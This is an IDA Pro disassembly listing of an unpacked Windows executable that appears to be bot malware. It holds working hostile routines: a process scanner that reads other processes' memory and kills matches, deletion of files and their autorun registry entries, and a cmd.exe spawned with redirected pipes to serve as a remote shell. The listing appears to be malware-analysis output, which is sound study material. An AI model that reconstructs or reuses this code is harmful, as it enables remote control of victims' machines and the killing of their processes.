;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	5B31FA30A0E765DF69BF2CE5A5A7951D

; File Name   :	u:\work\5b31fa30a0e765df69bf2ce5a5a7951d_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00016000 (  90112.)
; Section size in file		: 00016000 (  90112.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401146+31p
					; sub_401146+43p ...

var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= byte ptr -260h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40101A
; ---------------------------------------------------------------------------


loc_401013:				; CODE XREF: sub_401000+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40101A:				; CODE XREF: sub_401000+11j
		mov	eax, [ebp+var_4]
		cmp	off_418000[eax*4], 0
		jz	loc_401141
		mov	eax, [ebp+var_4]
		push	off_418000[eax*4]
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_110]
		push	eax
		push	3
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_417008	; RegOpenKeyExA
		and	[ebp+var_220], 0
		jmp	short loc_401081
; ---------------------------------------------------------------------------


loc_401074:				; CODE XREF: sub_401000:loc_40112Bj
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_401081:				; CODE XREF: sub_401000+72j
		mov	[ebp+var_21C], 104h
		mov	[ebp+var_224], 104h
		lea	eax, [ebp+var_224]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	0
		lea	eax, [ebp+var_21C]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_220]
		push	[ebp+var_110]
		call	ds:dword_417000	; RegEnumValueA
		mov	[ebp+var_264], eax
		cmp	[ebp+var_264], 0
		jz	short loc_4010DD
		jmp	short loc_401130
; ---------------------------------------------------------------------------


loc_4010DD:				; CODE XREF: sub_401000+D9j
		cmp	[ebp+var_114], 1
		jnz	short loc_40112B
		push	[ebp+arg_4]
		push	[ebp+var_224]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_268], eax
		cmp	[ebp+var_268], 0
		jz	short loc_40112B
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_110]
		call	ds:dword_417004	; RegDeleteValueA
		test	eax, eax
		jnz	short loc_40112B
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40112B:				; CODE XREF: sub_401000+E4j
					; sub_401000+10Bj ...
		jmp	loc_401074
; ---------------------------------------------------------------------------


loc_401130:				; CODE XREF: sub_401000+DBj
		push	[ebp+var_110]
		call	ds:dword_417028	; RegCloseKey
		jmp	loc_401013
; ---------------------------------------------------------------------------


loc_401141:				; CODE XREF: sub_401000+25j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401146	proc near		; CODE XREF: sub_401244+459p
					; sub_40A9CF+A72p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	80h
		push	[ebp+arg_0]
		call	ds:dword_4170A8	; SetFileAttributesA
		test	eax, eax
		jnz	short loc_401166
		jmp	locret_401242
; ---------------------------------------------------------------------------


loc_401166:				; CODE XREF: sub_401146+19j
		push	[ebp+arg_0]
		call	ds:dword_4170AC	; DeleteFileA
		push	[ebp+arg_0]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	locret_401242
		push	104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_10C], eax
		jmp	short loc_4011DB
; ---------------------------------------------------------------------------


loc_4011CE:				; CODE XREF: sub_401146:loc_40121Aj
		mov	eax, [ebp+var_10C]
		dec	eax
		mov	[ebp+var_10C], eax


loc_4011DB:				; CODE XREF: sub_401146+86j
		cmp	[ebp+var_10C], 0
		jz	short loc_40121C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_10C]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 5Ch
		jnz	short loc_40121A
		push	104h
		mov	eax, [ebp+var_10C]
		lea	eax, [ebp+eax+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40121C
; ---------------------------------------------------------------------------


loc_40121A:				; CODE XREF: sub_401146+AEj
		jmp	short loc_4011CE
; ---------------------------------------------------------------------------


loc_40121C:				; CODE XREF: sub_401146+9Cj
					; sub_401146+D2j
		lea	eax, [ebp+var_108]
		push	eax
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx

locret_401242:				; CODE XREF: sub_401146+1Bj
					; sub_401146+56j
		leave
		retn
sub_401146	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401244	proc near		; DATA XREF: sub_4017AA+9Do

var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3E0		= dword	ptr -3E0h
var_3DC		= dword	ptr -3DCh
var_3D8		= dword	ptr -3D8h
var_3D4		= dword	ptr -3D4h
var_3D0		= dword	ptr -3D0h
var_3CC		= byte ptr -3CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= byte ptr -2A8h
var_2A7		= dword	ptr -2A7h
var_2A3		= byte ptr -2A3h
var_1A3		= byte ptr -1A3h
var_B		= byte ptr -0Bh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3E8h
		push	esi
		push	edi
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2AC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_40129D
		lea	eax, [ebp+var_2A3]
		push	eax
		mov	eax, [ebp+var_2AC]
		push	dword ptr [eax]
		push	offset dword_418144
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40129D:				; CODE XREF: sub_401244+34j
		call	sub_406041
		mov	[ebp+var_2B4], eax
		cmp	[ebp+var_2B4], 0
		jnz	short loc_4012C4
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4017A4
; ---------------------------------------------------------------------------


loc_4012C4:				; CODE XREF: sub_401244+6Bj
		push	10000h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2B8], eax
		and	[ebp+var_2BC], 0
		and	[ebp+var_2B0], 0
		jmp	short loc_4012F2
; ---------------------------------------------------------------------------


loc_4012E5:				; CODE XREF: sub_401244+E2j
					; sub_401244+12Bj ...
		mov	eax, [ebp+var_2B0]
		inc	eax
		mov	[ebp+var_2B0], eax


loc_4012F2:				; CODE XREF: sub_401244+9Fj
		mov	eax, [ebp+var_2B4]
		mov	ecx, [ebp+var_2B0]
		cmp	ecx, [eax]
		jge	loc_401710
		mov	esi, [ebp+var_2B0]
		imul	esi, 114h
		mov	eax, [ebp+var_2B4]
		mov	edi, [eax+4]
		call	ds:dword_4170E8	; GetCurrentProcessId
		cmp	[edi+esi], eax
		jnz	short loc_401328
		jmp	short loc_4012E5
; ---------------------------------------------------------------------------


loc_401328:				; CODE XREF: sub_401244+E0j
		push	104h
		lea	eax, [ebp+var_3CC]
		push	eax
		push	0
		call	ds:dword_41708C	; GetModuleHandleA
		push	eax
		call	ds:dword_417090	; GetModuleFileNameA
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_3CC]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_401374
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401374:				; CODE XREF: sub_401244+129j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		movzx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		add	eax, 11h
		push	eax
		call	ds:dword_417094	; OpenProcess
		mov	[ebp+var_2C4], eax
		cmp	[ebp+var_2C4], 0
		jnz	short loc_4013B7
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_4013B7:				; CODE XREF: sub_401244+16Cj
		and	[ebp+var_2C0], 0
		and	[ebp+var_2C8], 0


loc_4013C5:				; CODE XREF: sub_401244:loc_4016FAj
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		cmp	eax, 10000h
		jbe	short loc_4013F7
		mov	[ebp+var_3E8], 10000h
		jmp	short loc_40141C
; ---------------------------------------------------------------------------


loc_4013F7:				; CODE XREF: sub_401244+1A5j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		mov	[ebp+var_3E8], eax


loc_40141C:				; CODE XREF: sub_401244+1B1j
		mov	eax, [ebp+var_3E8]
		mov	[ebp+var_3D0], eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_3D0]
		push	[ebp+var_2B8]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+4]
		add	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+var_2C4]
		call	ds:dword_417098	; ReadProcessMemory
		mov	[ebp+var_3D4], eax
		cmp	[ebp+var_3D4], 0
		jz	loc_4016C5
		cmp	[ebp+var_2C8], 0
		jz	loc_4016C5
		and	[ebp+var_3D8], 0
		and	[ebp+var_3DC], 0


loc_401495:				; DATA XREF: .data:0041AD00o
		jmp	short loc_4014A4
; ---------------------------------------------------------------------------


loc_401497:				; CODE XREF: sub_401244:loc_4015DBj
		mov	eax, [ebp+var_3DC]
		inc	eax
		mov	[ebp+var_3DC], eax


loc_4014A4:				; CODE XREF: sub_401244:loc_401495j
		mov	eax, [ebp+var_2C8]
		sub	eax, [ebp+var_2A7]
		cmp	[ebp+var_3DC], eax
		ja	loc_4015E0
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	loc_4015DB


loc_401514:				; CODE XREF: sub_401244+290j
					; sub_401244+2ADj
		mov	[ebp+var_3E0], 1
		jmp	short loc_40152D
; ---------------------------------------------------------------------------


loc_401520:				; CODE XREF: sub_401244:loc_4015D6j
		mov	eax, [ebp+var_3E0]
		inc	eax
		mov	[ebp+var_3E0], eax


loc_40152D:				; CODE XREF: sub_401244+2DAj
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		test	eax, eax
		jnz	short loc_401556
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		mov	[ebp+var_3D8], eax
		jmp	loc_40179F
; ---------------------------------------------------------------------------


loc_401556:				; CODE XREF: sub_401244+2F9j
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		jmp	short loc_4015DB
; ---------------------------------------------------------------------------


loc_4015D6:				; CODE XREF: sub_401244+338j
					; sub_401244+363j ...
		jmp	loc_401520
; ---------------------------------------------------------------------------


loc_4015DB:				; CODE XREF: sub_401244+2CAj
					; sub_401244+390j
		jmp	loc_401497
; ---------------------------------------------------------------------------


loc_4015E0:				; CODE XREF: sub_401244+272j
					; sub_401244:loc_40179Fj
		cmp	[ebp+var_3D8], 0
		jz	loc_4016C5
		mov	eax, [ebp+var_2BC]
		inc	eax
		mov	[ebp+var_2BC], eax
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401675
		push	3E8h
		call	ds:dword_41709C	; Sleep
		mov	al, [ebp+var_B]
		mov	[ebp+var_3E4], al
		and	[ebp+var_B], 0
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_41811C
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		mov	al, [ebp+var_3E4]
		mov	[ebp+var_B], al
		jmp	short loc_4016A3
; ---------------------------------------------------------------------------


loc_401675:				; CODE XREF: sub_401244+3BFj
		push	0
		push	[ebp+var_2C4]
		call	ds:dword_4170A0	; TerminateProcess
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_401146
		pop	ecx


loc_4016A3:				; CODE XREF: sub_401244+42Fj
		mov	eax, [ebp+var_2AC]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4016C0
		push	[ebp+var_2C4]
		call	ds:dword_4170A4	; CloseHandle
		jmp	loc_40179A
; ---------------------------------------------------------------------------


loc_4016C0:				; CODE XREF: sub_401244+469j
		jmp	loc_401795
; ---------------------------------------------------------------------------


loc_4016C5:				; CODE XREF: sub_401244+230j
					; sub_401244+23Dj ...
		mov	eax, [ebp+var_2C0]
		add	eax, [ebp+var_3D0]
		mov	[ebp+var_2C0], eax
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_2C0]
		cmp	edx, [ecx+eax+8]
		jnz	short loc_4016FA
		jmp	short loc_4016FF
; ---------------------------------------------------------------------------


loc_4016FA:				; CODE XREF: sub_401244+4B2j
		jmp	loc_4013C5
; ---------------------------------------------------------------------------


loc_4016FF:				; CODE XREF: sub_401244+4B4j
					; sub_401244:loc_401795j
		push	[ebp+var_2C4]
		call	ds:dword_4170A4	; CloseHandle
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401710:				; CODE XREF: sub_401244+BCj
					; sub_401244:loc_40179Aj
		push	[ebp+var_2B4]
		call	sub_40636E
		pop	ecx
		push	[ebp+var_2B8]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401785
		push	3E8h
		call	ds:dword_41709C	; Sleep
		cmp	[ebp+var_2BC], 0
		jnz	short loc_401764
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_4180F8
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_401785
; ---------------------------------------------------------------------------


loc_401764:				; CODE XREF: sub_401244+501j
		lea	eax, [ebp+var_2A3]
		push	eax
		push	[ebp+var_2BC]
		push	offset dword_4180CC
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_401785:				; CODE XREF: sub_401244+4EDj
					; sub_401244+51Ej
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_4017A4
; ---------------------------------------------------------------------------


loc_401795:				; CODE XREF: sub_401244:loc_4016C0j
		jmp	loc_4016FF
; ---------------------------------------------------------------------------


loc_40179A:				; CODE XREF: sub_401244+477j
		jmp	loc_401710
; ---------------------------------------------------------------------------


loc_40179F:				; CODE XREF: sub_401244+30Dj
		jmp	loc_4015E0
; ---------------------------------------------------------------------------


loc_4017A4:				; CODE XREF: sub_401244+7Bj
					; sub_401244+54Fj
		pop	edi
		pop	esi
		leave
		retn	4
sub_401244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017AA	proc near		; CODE XREF: sub_40A9CF+AA1p
					; sub_40A9CF+AD2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_4017C2
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		test	eax, eax
		jnz	short loc_4017C7


loc_4017C2:				; CODE XREF: sub_4017AA+9j
		jmp	locret_401854
; ---------------------------------------------------------------------------


loc_4017C7:				; CODE XREF: sub_4017AA+16j
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4017DD
		jmp	short locret_401854
; ---------------------------------------------------------------------------


loc_4017DD:				; CODE XREF: sub_4017AA+2Fj
		mov	eax, [ebp+var_4]
		mov	cl, [ebp+arg_8]
		mov	[eax+4], cl
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+5], eax
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 9
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 109h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_401830
		mov	[ebp+var_8], offset aListing ; "Listing"
		jmp	short loc_401837
; ---------------------------------------------------------------------------


loc_401830:				; CODE XREF: sub_4017AA+7Bj
		mov	[ebp+var_8], offset aKilling ; "Killing"


loc_401837:				; CODE XREF: sub_4017AA+84j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	offset dword_418174
		push	0
		push	[ebp+var_4]
		push	offset sub_401244
		call	sub_4095A4
		add	esp, 18h

locret_401854:				; CODE XREF: sub_4017AA:loc_4017C2j
					; sub_4017AA+31j
		leave
		retn
sub_4017AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401856	proc near		; CODE XREF: sub_401981+A8p
					; sub_401981+E1p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41DE24, 0FFFFFFFFh
		jz	short loc_40186E
		push	dword_41DE24
		call	ds:dword_4170A4	; CloseHandle


loc_40186E:				; CODE XREF: sub_401856+Aj
		cmp	dword_41DE18, 0FFFFFFFFh
		jz	short loc_401883
		push	dword_41DE18
		call	ds:dword_4170A4	; CloseHandle


loc_401883:				; CODE XREF: sub_401856+1Fj
		cmp	dword_41DE1C, 0FFFFFFFFh
		jz	short loc_401898
		push	dword_41DE1C
		call	ds:dword_4170A4	; CloseHandle


loc_401898:				; CODE XREF: sub_401856+34j
		cmp	dword_41DE20, 0FFFFFFFFh
		jz	short loc_4018AD
		push	dword_41DE20
		call	ds:dword_4170A4	; CloseHandle


loc_4018AD:				; CODE XREF: sub_401856+49j
		pop	ebp
		retn
sub_401856	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018AF	proc near		; CODE XREF: sub_401981+28Ap
					; sub_401981+395p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jnz	short loc_4018D4
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401922


loc_4018D4:				; CODE XREF: sub_4018AF+15j
					; sub_4018AF:loc_401920j
		push	32h
		call	ds:dword_41709C	; Sleep
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jz	short loc_4018FE
		call	sub_416B64	; clock
		sub	eax, dword_41DE2C
		cmp	eax, 1F4h
		jb	short loc_4018FE
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_4018FE:				; CODE XREF: sub_4018AF+39j
					; sub_4018AF+4Bj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401920
		call	sub_416B64	; clock
		sub	eax, dword_41DE2C
		cmp	eax, 0FAh
		jb	short loc_401920
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_401920:				; CODE XREF: sub_4018AF+5Bj
					; sub_4018AF+6Dj
		jmp	short loc_4018D4
; ---------------------------------------------------------------------------


loc_401922:				; CODE XREF: sub_4018AF+23j
					; sub_4018AF+4Dj ...
		call	sub_416B64	; clock
		mov	dword_41DE2C, eax
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_401942
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_401957


loc_401942:				; CODE XREF: sub_4018AF+86j
		push	offset dword_4181A4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40196E
; ---------------------------------------------------------------------------


loc_401957:				; CODE XREF: sub_4018AF+91j
		push	200h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_40196E:				; CODE XREF: sub_4018AF+A6j
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		leave
		retn
sub_4018AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401981	proc near		; DATA XREF: sub_401D6E+88o

var_730		= dword	ptr -730h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_714		= dword	ptr -714h
var_510		= byte ptr -510h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_334		= dword	ptr -334h
var_330		= word ptr -330h
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= byte ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= byte ptr -30Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 730h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_714]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, 1F4h
		mov	dword_41DE2C, eax
		push	0
		lea	eax, [ebp+var_30C]
		push	eax
		push	104h
		push	0
		push	offset aCmd_exe	; "cmd.exe"
		push	0
		call	ds:dword_41706C	; SearchPathA
		test	eax, eax
		jnz	short loc_4019ED
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_4019ED:				; CODE XREF: sub_401981+57j
		mov	[ebp+var_318], 0Ch
		mov	[ebp+var_310], 1
		and	[ebp+var_314], 0
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		call	ds:dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A41
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A41:				; CODE XREF: sub_401981+A6j
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_36C]
		push	eax
		lea	eax, [ebp+var_728]
		push	eax
		call	ds:dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A7A
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A7A:				; CODE XREF: sub_401981+DFj
		push	3
		push	0
		push	0
		push	offset dword_41DE20
		call	ds:dword_417074	; GetCurrentProcess
		push	eax
		push	[ebp+var_36C]
		call	ds:dword_417074	; GetCurrentProcess
		push	eax
		call	ds:dword_4170F0	; DuplicateHandle
		test	eax, eax
		jnz	short loc_401ABB
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401ABB:				; CODE XREF: sub_401981+120j
		push	10h
		push	0
		lea	eax, [ebp+var_724]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_360], 44h
		mov	[ebp+var_334], 101h
		and	[ebp+var_330], 0
		mov	eax, [ebp+var_728]
		mov	[ebp+var_328], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_324], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_320], eax
		lea	eax, [ebp+var_724]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	0
		push	0
		push	0
		push	1
		push	0
		push	0
		push	offset byte_41DE30
		lea	eax, [ebp+var_30C]
		push	eax
		call	ds:dword_41707C	; CreateProcessA
		test	eax, eax
		jnz	short loc_401B69
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
